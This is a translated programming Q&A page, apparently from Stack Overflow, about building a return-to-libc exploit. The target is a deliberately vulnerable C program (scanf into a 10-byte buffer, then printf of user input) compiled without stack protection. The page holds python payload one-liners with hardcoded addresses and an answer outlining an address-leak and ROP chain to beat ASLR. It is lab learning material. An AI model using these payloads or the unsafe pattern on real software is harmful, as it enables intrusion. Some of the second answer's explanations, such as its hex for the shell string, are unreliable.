返回libc攻击

时间:2018-04-03 01:24:17

标签: c linux buffer-overflow libc

我正在尝试使用格式字符串攻击向量对以下代码实施返回libc攻击。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}

我在p system中使用gdb命令找出了system()的地址。通过使用x/500s $esp检查堆栈帧,我计算了包含\bin\sh的环境变量的地址。

system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207

有了这些东西,我构建了以下格式字符串:

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp

其中0xffffcdbc - 0x4是包含系统地址0xf7e2cda0值的本地地址。

我使用gcc -m32 -fno-stack-protector -o sh sh.c编译了程序,并使用gdb sh运行它。执行后,在输入r<inp时,我得到以下输出

gdb_output

如上所示,显示了一些错误命令,只有在再次运行r命令后才进入shell。有人可以解释我在这里失踪了什么,以便我直接进入shell吗?

另外,当我尝试通过偏移gdb地址而不使用gdb(./sh < inp)执行上面的程序时,我得到了分段错误错误。我假设一旦上述修复得到纠正,这可以解决。

请通过提供完整的工作漏洞来回答 - 大多数在线教程使用argv[1]来解释类似的问题,但我希望在不使用参数的情况下使用漏洞利用。

谢谢!

2 个答案:

答案 0 :(得分:3)

首先,您要构建纯堆栈基溢出,而不是格式化字符串有效负载。

libc函数system()即使其参数无效也适用于gdb。例如,调用system("asdasd")仍然在gdb中提供了一个shell(弹出错误消息,这是您已经看过的内容),因此您的有效负载基本上没有找到/bin/sh正确。

你应该在system的地址和/bin/sh的地址之间加一个填充(许多pwn初学者会忘记这一点),例如

print 'A'*padding_to_ret + addr_system + padding + addr_binsh
  

对于x86调用约定,一旦调用了函数,就会生成参数   是推送,接下来是返回地址,所以当ROP链接system时   返回, $esp现在指向padding处的位置,所以   参数/bin/sh$ebp+0x4)应紧挨padding

你提到的最后一个你想构建一个没有argv帮助的有效载荷,是的,但是你有可能泄漏libc地址以击败ASLR 获取/bin/sh的地址(您可以在libc中找到此字符串)。

以您提供的代码为例:

  1. scanf("%s, &a)
    • 为下一个%x%x构建类似%9$xprintf的内容,以泄漏堆栈上的某些libc地址。
    • main覆盖返回地址以进行另一次阅读。
  2. printf(a)
    • 接收泄漏地址,计算libc基地址和其他有用功能,如system_addr = libc_addr + system_offset
  3. scanf("%s, &a)
    • 现在您知道system/bin/sh的地址,构建上面的ROP链以获得控制权。

答案 1 :(得分:1)

经过几天的研究,我发现了问题。这并不是/bin/sh字符串的地址错误,或者您只需要\bin\sh库中的libc字符串地址位置才能使其正常工作,但您需要的只是在您放置的字符串的地址末尾有一个4字节的nop sled。所以,从本质上讲,我的攻击字符串就是这个

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp

或者在您将/bin/sh直接写入缓冲区的情况下,类似下面的字符串会起作用

python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp

其中\x5c\x73\x68\bin\sh的十六进制)存储在\x84\xce\xff\xff

的缓冲区中

注意:我有时也会发现您在特定位置写的地址不会以某种方式出现。在这些情况下,您应该进行填充以确保所有内容都存储在各自的位置。